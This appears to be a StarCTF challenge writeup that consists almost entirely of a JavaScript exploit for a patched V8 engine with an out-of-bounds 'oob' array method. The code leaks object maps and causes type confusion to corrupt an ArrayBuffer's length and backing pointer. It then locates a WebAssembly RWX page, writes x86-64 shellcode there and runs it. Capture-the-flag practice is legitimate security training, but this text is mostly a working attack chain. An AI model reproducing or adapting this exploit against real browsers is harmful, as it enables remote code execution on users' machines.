StarCTF OOB writeup

function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));
	

    return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//

// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}


// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);


function gc()
{
	/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
    for(var i=0;i<((1024 * 1024)/0x10);i++)
	{
        var a= new String();
    }
}
function give_me_a_clean_newspace()
{
	/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
	gc()
	gc()
}

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
	f64[0] = v;
	return u32;
}

function u2d(lo, hi) {
	u32[0] = lo;
	u32[1] = hi;
	return f64;
}

function Hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + hi.toString(16) + lo.toString(16));
}


function view(array, lim) {
    for(let i = 0; i < lim; i++) {
        t = array[i];
        console.log("[" + i + "] : " + hex(d2u(t)[0], d2u(t)[1]));
    }

}


var GlobalArr=[];
var GlobalObjs=[];
var GlobalBuffer=[];

var LengthOffset=0;
var LengthToBe=(new Int64("7fffffff00000000")).asDouble()
var oob_arr = null;
let victim_obj = null;
let victimobj_obj_offset_of_OOBARR = null;
let victim_buf = null;
let victimbuf_backingstore_pointer_offset_of_OOBARR = null;
let rwaddr=null


function exploit(){

	let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
	let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
	let f = wasm_mod.exports._Z3addii;

	give_me_a_clean_newspace()

	let array=new Array(10)
	let obj={a:1,b:2,c:3,d:4,e:5};
	
	let array2=new Array(10)
	let obj2=new Array(10);
	obj2[0]=1
    
    
	let victim=new Array(10)
	victim[0]=1.1;

	//%DebugPrint(obj);
	//%DebugPrint(obj2);

	//console.log("cz1")

	//console.log("============================")
	console.log("[+]leak the first map:  ",Int64.fromDouble(array.oob()))
	let map1=new Int64(Int64.fromDouble(array.oob()))
	console.log("[+]leak the second map:  ",Int64.fromDouble(array2.oob()));
	let map2=new Int64(Int64.fromDouble(array2.oob()))

	//overwrite the array2.map
	array2.oob(map1.asDouble())

	//console.log(obj2.a)

	//overwrite the length
	obj2.a=0x1000;
	//%DebugPrint(obj2)

	//return the map2
	array2.oob(map2.asDouble())

	console.log(obj2.length);

	//%DebugPrint(obj2);
	//%DebugPrint(victim)
	obj2[13]=0x2333;

	//%DebugPrint(victim)
	//console.log("cz2")

	let leaked = [0xdada, 0xadad, f, {}, 1.1];
	let ab = new ArrayBuffer(0x50);
	let idx = 0;
	let wasm_idx = 0;

	for(let i = 0; i < 0x1000; i++) {
		value = d2u(victim[i]);

		if (value[1] === 0xdada) {
			t = d2u(victim[i + 1]);
			if (t[1] === 0xadad){
				wasm_idx = i + 2;
			}
		}

		if (value[0] === 0x50) {
			idx = i;
			console.log("[-] find index : " + idx);
			break;
		}
	}

	// change ArrayBuffer's byteLength property
	tt = u2d(0x2000, 0);
	eval(`victim[${idx}] = ${tt}`);
	//%DebugPrint(ab);
	//view(victim, 100);
	let wasm_obj_lo = d2u(victim[wasm_idx])[0];
	let wasm_obj_hi = d2u(victim[wasm_idx])[1];
	%DebugPrint(f)
	console.log("[-] wasm object : " + hex(wasm_obj_lo, wasm_obj_hi));

	tt = u2d(wasm_obj_lo - 1, wasm_obj_hi);
	eval(`victim[${idx + 1}] = ${tt}`);

	let dv = new DataView(ab);
	// gdb
	SHARED_FUNCTION_INFO_TYPE_lo = dv.getUint32(0x18, true);
	SHARED_FUNCTION_INFO_TYPE_hi = dv.getUint32(0x18 + 4, true);

	// SHARED_FUNCTION_INFO_TYPE_lo = dv.getUint32(0x10, true);
	// SHARED_FUNCTION_INFO_TYPE_hi = dv.getUint32(0x10 + 4, true);
	console.log("[-] SHARED_FUNCTION_INFO_TYPE : " + Hex(SHARED_FUNCTION_INFO_TYPE_lo, SHARED_FUNCTION_INFO_TYPE_hi));


	tt = u2d(SHARED_FUNCTION_INFO_TYPE_lo - 1, SHARED_FUNCTION_INFO_TYPE_hi);
	eval(`victim[${idx + 1}] = ${tt}`);
	WASM_EXPORTED_FUNCTION_DATA_TYP_lo = dv.getUint32(0x8, true);
	WASM_EXPORTED_FUNCTION_DATA_TYP_hi = dv.getUint32(0x8+4, true);
	console.log("[-] WASM_EXPORTED_FUNCTION_DATA_TYPE : " + Hex(WASM_EXPORTED_FUNCTION_DATA_TYP_lo, WASM_EXPORTED_FUNCTION_DATA_TYP_hi));

	tt = u2d(WASM_EXPORTED_FUNCTION_DATA_TYP_lo - 1, WASM_EXPORTED_FUNCTION_DATA_TYP_hi);
	eval(`victim[${idx + 1}] = ${tt}`);
	WASM_INSTANCE_TYPE_lo = dv.getUint32(0x10, true);
	WASM_INSTANCE_TYPE_hi = dv.getUint32(0x10+4, true);
	console.log("[-] WASM_INSTANCE_TYPE : " + Hex(WASM_INSTANCE_TYPE_lo, WASM_INSTANCE_TYPE_hi));

	tt = u2d(WASM_INSTANCE_TYPE_lo - 1, WASM_INSTANCE_TYPE_hi);
	eval(`victim[${idx + 1}] = ${tt}`);

	// use gdb_debug to gain the specifi coffset
	rwx_lo = dv.getUint32(0x88, true);
	rwx_hi = dv.getUint32(0x88+4, true);
	// rwx_lo = dv.getUint32(0xd0, true);
	// rwx_hi = dv.getUint32(0xd0+4, true);

	console.log("[-] rwx page : " + Hex(rwx_lo, rwx_hi));
	//%SystemBreak()
	tt = u2d(rwx_lo, rwx_hi);
	eval(`victim[${idx + 1}] = ${tt}`);

	var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];
	//var shellcode = [0x48c93148, 0xfff3e981, 0x8d48ffff, 0xffffef05, 0x23bb48ff, 0x47e51aa4, 0x4877a006, 0x48275831, 0xfffff82d, 0x49f4e2ff, 0xf7c429f, 0x4a158fbd, 0x2f9635ca, 0xaa3ff306, 0x24c87243, 0xaa3fa006, 0x7a0d4842, 0x4d77a006, 0x7ed63ac7, 0x15479128, 0x75cb2b8a, 0x12579536, 0x67d12996, 0x4158807a, 0x24ca74cd, 0x4557d467, 0x67827bc8, 0x4019807a, 0x69dc2984, 0xd419037, 0x77d73495, 0x10458033, 0x47d62997, 0xaa3ff750, 0x47e01542, 0x77a006];
	for(let i = 0; i < shellcode.length; i++) {
		dv.setUint32(i * 4, shellcode[i], true);
	}
	f(1, 2);
	
};
exploit()